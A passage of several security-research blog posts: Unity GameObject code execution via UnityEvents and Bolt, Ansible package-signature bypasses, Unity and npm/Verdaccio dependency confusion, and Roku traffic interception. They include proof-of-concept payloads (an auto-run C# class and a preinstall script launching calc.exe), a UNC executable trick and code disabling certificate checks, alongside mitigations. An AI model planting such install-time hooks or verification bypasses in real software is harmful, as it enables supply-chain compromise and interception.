Below is the event definition I used in the object YAML:
It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:
This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?
Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.
For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:
I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:
It now executes the executable when you click the button:
This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)
After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things. This is just a small sampling:
Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll()
Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete()
Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot()
Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit()
Quit out of the game/editor.
Method 2: Visual scripting systems
There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free.
This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.
With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:
A malicious GameObject imported into a project that uses Bolt can do anything it wants.
How to prevent this
Third-party assets
It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator).
AssetBundles
When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:
If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle.
If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.
When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:
Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.
If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.” Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.
In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.
As mentioned above, if you’d like to read more about Unity’s fix for this and their recommendations, be sure to check out their blog post!
In our client assessment work hacking software and cloud systems of all types, we’re often asked to look into configuration management tools such as Ansible. In this post we’ll deep dive into what package management vulnerabilities in the world of Ansible look like. First we’ll recap what Ansible is, provide some tips for security pros to debug it at a lower level, and explore both a CVE in the dnf module and an interesting gotcha in the apt module.
To ensure we’re always looking out for DevSecOps and aiding defenders, our next post in this series will touch on the strengths and weaknesses of tools like Semgrep for catching vulnerabilities in Ansible configurations.
Ansible
Ansible is an open source, Python-based, configuration management tool developed by Red Hat. It enables DevOps and other system maintainers to easily write automation playbooks, composed of a series of tasks in YAML format, and then run those playbooks against targeted hosts. A key feature of Ansible is that it is agentless: the targeted hosts don’t need to have Ansible installed, just Python and SSH. The machine running the playbook (“control node” in Ansible speak) copies the Python code required to run the tasks to the targeted hosts (“managed nodes”) over SSH, and then executes that code remotely. Managed nodes are organized into groups in an “inventory” for easy targeting by playbooks.
In 2019 Ansible was the most popular cloud configuration management tool. While the paradigm of “immutable infrastructure” has led to more enthusiasm for choosing Terraform and Docker for performing several tasks that previously might have been done by Ansible, it is still an immensely popular tool for provisioning resources, services, and applications.
Ansible provides a large number of built-in modules, which are essentially high-level interfaces for calling common system commands like apt, yum, or sysctl. The modules are Python files that do the work of translating the specified YAML tasks into the commands that actually get executed on the managed nodes. For example, the following playbook contains a single Ansible task which uses the apt module to install NGINX on a Debian-based system. Normally an Ansible playbook would be run against a remote host, but in our examples we are targeting localhost for illustrative purposes:
To understand better what this playbook is doing under the hood, let’s use a debugging technique that will come in useful when we look at vulnerabilities later. Since Ansible doesn’t natively provide a way to see the exact commands getting run, we can use a handy strace invocation. strace allows us to follow the flow of system calls that this playbook triggers when run normally under ansible-playbook, even as Ansible forks off multiple child processes (“-f” flag), so we can view the command that ultimately gets executed:
Using both strace command line options ("-e trace=execve“) and the grep as filters, we are making sure that irrelevant system calls are not output to the terminal; this avoids the noise of all the setup code that both Ansible and the apt module need to run before finally fulfilling the task. Ultimately we can see that the playbook runs the command apt-get install nginx, with a few extra command line flags to automate accepting confirmation prompts and interactive dialogues.
If you are following along and don’t see the apt-get install command in the strace output, make sure NGINX is uninstalled first. To improve performance and prevent unwanted side-effects, Ansible first checks whether a task has already been achieved, and so returns early with an “ok” status if it thinks NGINX is already in the installed state.
Top 10 Tips for Ansible Security Audits
As shown, Ansible transforms tasks declared in simple YAML format into system commands often run as root on the managed nodes. This layer of abstraction can easily turn into a mismatch between what a task appears to do and what actually happens under the hood. We will explore where such mismatches in Ansible’s built-in modules make it possible to create configuration vulnerabilities across all managed nodes.
But first, let’s take a step back and contextualize this by running through general tips if you are auditing an Ansible-managed infrastructure. From an infrastructure security perspective, Ansible does not expose as much attack surface as some other configuration management tools. SSH is the default transport used to connect from the control node to the managed nodes, so Ansible traffic takes advantage of the sane defaults, cryptography, and integration with Linux servers that the OpenSSH server offers. However, Ansible can be deployed in many ways, and best practices may be missed when writing roles and playbooks. Here are IncludeSec’s top 10 Ansible security checks to remember when reviewing a configuration:
Is the output of playbook runs not being logged or audited by default?
Is the confidential output of privileged tasks being logged?
Are high-impact roles/tasks (e.g. those that are managing authentication, or installing packages) actually doing what they appear to be?
Whether those tips apply will obviously vary depending on whether the organization is managing Ansible behind a tool like Ansible Tower, or if it’s a startup where all developers have SSH access to production. However, one thing that remains constant is that Ansible is typically used to install packages to setup managed nodes, so configuration vulnerabilities in package management tasks are of particular interest. We will focus on cases where declaring common package management operations in Ansible YAML format can have unintended security consequences.
CVE-2020-14365: Package Signature Ignored in dnf Module
The most obvious type of mismatch between YAML abstraction and reality in an Ansible module would be an outright bug. A recent example of this is CVE-2020-14365. The dnf module installs packages using the dnf package manager, the successor of yum and the default on Fedora Linux. The bug was that the module didn’t perform signature verification on packages it downloaded. Here is an example of a vulnerable task when run on Ansible versions <2.8.15 and <2.9.13:
- name: The task in this playbook was vulnerable to CVE-2020-14365
hosts: localhost
become: yes
become_user: root
tasks:
- name: ensure nginx is installed
dnf:
name: nginx
state: present
The vulnerability is severe when targeted by advanced attackers; an opening for supply-chain attack. The lack of signature verification makes it possible for both the package mirror and man-in-the-middle (MITM) attackers on the network in between to supply their own packages which execute arbitrary commands as root on the host during installation.
For more details about how to perform such an attack, this guide walks through injecting backdoored apt packages from a MITM perspective. The scenario was presented a few years ago on a HackTheBox machine.
The issue is exacerbated by the fact that in most cases on Linux distros, GPG package signatures are the only thing giving authenticity and integrity to the downloaded packages. Package mirrors don’t widely use HTTPS (see Why APT does not use HTTPS for the justification), including dnf. With HTTPS transport between mirror and host, the CVE is still exploitable by a malicious mirror but at least the MITM attacks are a lot harder to pull off. We ran a quick test and despite Fedora using more HTTPS mirrors than Debian, some default mirrors selected due to geographical proximity were HTTP-only:
The root cause of the CVE was that the Ansible dnf module imported a Python module as an interface for handling dnf operations, but did not call a crucial _sig_check_pkg() function. Presumably, this check was either forgotten or assumed to be performed automatically in the imported module.
Package Signature Checks Can be Bypassed When Downgrading Package Versions
The dnf example was clearly a bug, now patched, so let’s move on to a more subtle type of mismatch where the YAML interface doesn’t map cleanly to the desired low-level behavior. This time it is in the apt package manager module and is a mistake we have seen in several production Ansible playbooks.
In a large infrastructure, it is common to install packages from multiple sources, from a mixture of official distro repositories, third-party repositories, and in-house repositories. Sometimes the latest version of a package will cause dependency problems or remove features which are relied upon. The solution which busy teams often choose is to downgrade the package to the last version that was working. While downgrades should never be a long-term solution, they can be necessary when the latest version is actively breaking production or a package update contains a bug.
When run interactively from the command line, apt install (and apt-get install, they are identical for our purposes) allows you to specify an older version you want to downgrade to, and it will do the job. But when accepting confirmation prompts automatically (in “-y” mode, which Ansible uses), apt will error out unless the --allow-downgrades argument is explicitly specified. Further confirmation is required since a downgrade may break other packages. But the Ansible apt module doesn’t offer an --allow-downgrades option equivalent; there’s no clear way to make a downgrade work using Ansible.
The first Stackoverflow answer that comes up when searching for “ansible downgrade package” recommends using force: true (or force: yes which is equivalent in YAML):
- name: Downgrade NGINX in a way that is vulnerable
hosts: localhost
become: yes
become_user: root
tasks:
- name: ensure nginx is installed
apt:
name: nginx=1.14.0-0ubuntu1.2
force: true
state: present
This works fine, and without follow-up, this pattern can become a fixture of the configuration which an organization runs regularly across hosts. Unfortunately, it creates a vulnerability similar to the dnf CVE, disabling signature verification.
To look into what is going on, let’s use the strace command line to see the full invocation:
The force: true option has added the –force-yes parameter (as stated in the apt module docs). --force-yes is a blunt hammer that will ignore any problems with the installation, including a bad signature on the downloaded package. If this same apt-get install command is run manually from the command line, it will warn: --force-yes is deprecated, use one of the options starting with --allow instead. And to Ansible’s credit, it also warns in the docs that force “is a destructive operation with the potential to destroy your system, and it should almost never be used.”
So why is use of force: true so prevalent across Ansible deployments we have seen? It’s because there’s no alternative for this common downgrade use-case besides running the full apt install command line using the command or shell modules, which is stylistically the opposite of what Ansible is all about.
On the Ansible issue tracker, people have been asking for years for an allow_downgrade option for the apt module, but two separate pull requests have been stuck in limbo because they do not meet the needs of the project. Ansible requires integration tests for every feature, and they are difficult to provide for this functionality since Debian-derived distros don’t normally host older versions of packages in their default repositories to downgrade to. The yumand dnfmodules have had an allow_downgrade option since 2018.
Fixing the Problem
At IncludeSec we like to contribute to open source where we can, so we’ve opened a pull request to resolve this shortcoming of the apt module, by adding an allow_downgrade option. This time, the change has integration tests and will hopefully meet the requirements of the project and get merged!
In the meantime, how to safely drop back to an old version of a package in an Ansible managed infrastructure? First, run a one-time apt install command with the --allow-downgrades option. Next, subsequent upgrades of the package can be prevented using either Apt Pinning or dpkg holding, native methods in Debian-derived distros to do this. The hold can be performed by Ansible with the dpkg_selections module:
- name: Downgrade and Hold a Package
hosts: localhost
become: yes
become_user: root
tasks:
- name: ensure nginx is downgraded
command:
cmd: "apt install -y -o Dpkg::Options::=--force-confold -o Dpkg::Options::=--force-confdef --allow-downgrades nginx=1.16.0-1~buster"
- name: ensure nginx is held back
dpkg_selections:
name: nginx
selection: hold
Overall the approach isn’t obvious nor pretty and is therefore a perfect example of a mismatch between the YAML abstraction which appears to just force a downgrade, and the reality which is that it forces ignoring signature verification errors too. We hope this will change soon.
The next part of this series will explore using Semgrep to identify this vulnerability and others in Ansible playbooks. We’ll review the top 10 Ansible security audits checks presented and see how much of the hard work can be automated through static analysis. We’ve got a lot more to say about this, stay tuned for our next post on the topic!
The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?
First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.
Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:
Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.
Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry?Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!
Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.
Creating a normal private package
First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files
includesec.jpeg
includesec.jpeg.meta
package.json
includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:
The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:
The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:
Creating a malicious package
The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:
Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:
using UnityEngine;
using UnityEditor;
[InitializeOnLoad]
public class MaliciousPackage {
static MaliciousPackage()
{
System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
}
}
I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.
Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:
I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:
Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?
It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).
Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.
Mitigation
How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:
Not pull from the public NPM registry at all, or…
If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry
We were recently asked by one of our clients (our day job at IncludeSec is hacking software of all types) to take a look at their Roku channel. For those unfamiliar Roku calls apps for their platform “channels”. We haven’t seen too many Roku channel security reviews and neither has the industry as there isn’t much public information about setting up an environment to conduct a security assessment of a Roku channel.
The purpose of this post was to be a practical guide rather than present any new 0day, but stay tuned to the end of the post for application security tips for Roku channel developers. Additionally we did run this post by the Roku security team and we thank them for taking the time to review our preview.
Roku channels are scripted in Brightscript, a scripting language created specifically for media heavy Roku channels that is very similar syntax wise to our old 90s friend Visual Basic. A sideloaded Roku channel is just a zip file containing primarily Brightscript code, XML documents describing application components, and media assets. These channels operate within a Sandbox similar to Android apps. Due to the architecture of a sandboxed custom scripting language, Roku channels’ access to Roku’s Linux-based operating system, and to other channels on the same Roku device is limited. Channels are encrypted and signed by the developer (on Roku hardware) and distributed through Roku’s infrastructure, so users generally don’t have access to channel packages unlike APKs on Android.
The Brightscript language as well as channel development are well documented by Roku. Roku hardware devices can be put in a developer mode by entering a cheat code sequence which enables sideloading as well as useful features such as a debugger and remote control over the network. You’ll need these features as they’ll be very useful when exploring attacks against Roku channels.
You’ll also want to use the Eclipse Brightscript plugin as it is very helpful when editing or auditing Brightscript code. If you have access to a channel’s source code you can easily import it into Eclipse by creating a new Eclipse project from the existing code, and use the plugin’s project export dialog to re-package the channel and install it to a local Roku device in development mode.
Getting Burp to Work With Brightscript
As with most embedded or mobile type of client applications one of the first things we do when testing a new platform that is interacting with the web is to get HTTP requests running through Burp Suite. It is incredibly helpful in debugging and looking for vulnerabilities to be able to intercept, inspect, modify, and replay HTTP requests to a backend API. Getting a Roku channel working through Burp involves redirecting traffic destined to the backed API to Burp instead, and disabling certificate checking on the client. Note that Roku does support client certificates but this discussion doesn’t involve bypassing those, we’ll focus on bypassing client-side checks of server certificates for channels where the source code is available which is the situation we have with IncludeSec’s clients.
Brightscript code that makes HTTP requests uses Brightscript’s roUrlTransfer object. For example, some code to GET example.com might look like this:
To setup an easy intercept environment I like to use the create_ap script from https://github.com/lakinduakash/linux-wifi-hotspot to quickly and easily configure hostapd, dnsmasq, and iptables to set up a NAT-ed test network hosted by a Linux machine. There are many ways to perform the man-in-the-middle to redirect requests to Burp, but I’m using a custom hosts file in the dnsmasq configuration to redirect connections to the domains I’m interested in (in this case example.com) to my local machine, and an iptables rule to redirect incoming connections on port 443 to Burp’s listening port.
In Burp’s Proxy -> Options tab, I’ll add the proxy listener listening on the test network ip on port 8085, configured for invisible proxying mode:
Next, we need to bypass the HTTPS certificate check that will cause the connection to fail. The easiest way to do this is to set EnablePeerVerification to false:
urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("common:/certs/ca-bundle.crt")
urlTransfer.EnablePeerVerification(false)
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()
Then, re-build the channel and sideload it on to a Roku device in developer mode. Alternatively we can export Burp’s CA certificate, convert it to PEM format, and include that in the modified channel.
This converts the cert from DER to PEM format:
$ openssl x509 -inform der -in burp-cert.der -out burp-cert.pem
The burp-cert.pem file needs to be added to the channel zip file, and the code below changes the certificates file from the internal Roku file to the burp pem file:
urlTransfer = CreateObject("roUrlTransfer")
urlTransfer.SetCertificatesFile("pkg:/burp-cert.pem")
urlTransfer.SetUrl("https://example.com/")
s = urlTransfer.GetToString()
It’s easy to add the certificate file to the package when exporting and sideloading using the BrightScript Eclipse plugin:
Now the request can be proxied and shows up in Burp’s history:
With that you’re off to the races inspecting and modifying traffic of your Roku channel assessment subject. All of your usual fat client/android app techniques for intercepting and manipulating traffic applies. You can combine that with code review of the BrightScript itself to hunt for interesting security problems and don’t discount privacy problems like unencrypted transport or over collection of data.
For BrightScript developers who may be worried about people using these types of techniques here are our top five tips for coding secure and privacy conscious channels:
Only deploy what you need in a channel, don’t deploy debug/test code.
Consider that confidentiality of the file contents of your deployed channel may not be a given. Don’t hard code secret URLs, tokens, or other security relevant info in your channel or otherwise an attacker will not have access to the client-side code.
Don’t gather/store/send more personal information than is absolutely necessary and expected by your users.
Encrypt all of your network connections to/from your channel and verify certificates. Nothing should ever be in plain text HTTP.
Watch out for 3rd parties. User tracking and other personal data sent to 3rd parties can be come compliance and legal nightmares, avoid this and make your business aware of the possible ramifications if they chose to use 3rd parties for tracking.
Hopefully this post has been useful as a quick start for those interested in exploring the security of Roku channels and Brightscript code. Compared to other similar platforms, Roku is relatively locked down with it’s own scripting language and sandboxing. They also don’t have much user controllable input or a notable client-side attack surface area, but channels on Roku and apps on other platforms generally have to connect to backend web services, so running those connections through Burp is a good starting point to look for security and privacy concerns.
Further research into the Roku platform itself is also on the horizon…perhaps there will be a Part 2 of this post?
This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.
We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.
Here’s a quick summary for those that want to skip the technical details:
Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
[!] includesec-dependency-confusion
Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.
Dependency Confusion in npm
In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package.
npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack?
The answer is: npm itself isn’t, but a private package registry server might be!
Case Study: Verdaccio
Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it.
To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:
{
"name": "includesec-dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT"
}
Below is the package.json file for a basic application that depends on the vulnerable package:
{
"name": "vuln-app",
"version": "1.0.0",
"description": "A small app to demonstrate dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT",
"dependencies": {
"express": "^4.17.1",
"includesec-dependency-confusion": "^1.0.0"
}
}
The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.
Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:
GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close
HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare
{"error":"Not found"}
This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:
{
"name": "includesec-dependency-confusion",
"version": "1.1.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "c:\\windows\\system32\\calc.exe"
},
"author": "Nick Fox",
"license": "MIT"
}
Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:
GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close
HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close
…
"time":{
"created":"2021-02-16T14:50:23.935Z",
"1.1.0":"2021-02-16T14:50:24.067Z",
"modified":"2021-02-16T14:50:27.035Z"
},
"maintainers":[
{
"name":"njf-include",
"email":"[email protected]"
}
],
"description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"author":{
"name":"Nick Fox"
},
"license":"MIT",
"readme":"ERROR: No README data found!",
"readmeFilename":""
}
The following screenshot shows the malicious payload being executed on the client:
As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:
packages:
...
'**':
# allow all users (including non-authenticated users) to read and
# publish all packages
#
# you can specify usernames/groupnames (depending on your auth plugin)
# and three keywords: "$all", "$anonymous", "$authenticated"
access: $all
# allow all known users to publish/publish packages
# (anyone can register by default, remember?)
publish: $authenticated
unpublish: $authenticated
# if package is not available locally, proxy requests to 'npmjs' registry
proxy: npmjs
The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).
Mitigation on Verdaccio
So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:
This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:
After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:
GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873
HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267
{
"name": "includesec-dependency-confusion",
"versions": {
"1.0.0": {
"name": "includesec-dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
…
"dist-tags": {
"latest": "1.0.0"
},
"_rev": "3-dc1db45b944128de",
"_id": "includesec-dependency-confusion",
"readme": "ERROR: No README data found!",
"_attachments": {}
}
Additional Mitigation Steps
This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:
{
"name": "@includesec/dependency-confusion",
"version": "1.0.0",
"description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
"main": "index.js",
